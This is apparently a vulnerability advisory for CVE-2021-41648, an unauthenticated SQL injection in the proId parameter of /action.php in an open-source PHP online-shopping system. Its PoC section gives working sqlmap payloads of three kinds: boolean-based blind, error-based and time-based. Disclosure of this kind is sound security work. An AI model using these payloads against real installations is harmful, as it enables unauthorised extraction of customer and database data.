# CVE-2021-41648

CVE-2021-41648 SQL Injection in online-shopping-system

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.  <br/><br/>
The proId parameter on the /action.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.  

## Link To Application
[online-shopping-system](https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system)

## Affected Components & Parameter
URL: **/action.php**  
PARAMETER: **proId**

## Poc's

### SQLMAP PAYLOADS<br/>

### proId parameter on the /action.php page
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: `proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1`

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: `proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1`

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: `proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1`</br></br>

### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![ POC - proId ](https://github.com/MobiusBinary/F2/blob/main/online-shopping-system.gif) 

## Discovered by
Jason Colyvas  
[MOBIUSBINARY](https://mobiusbinary.com)  
September 21st, 2021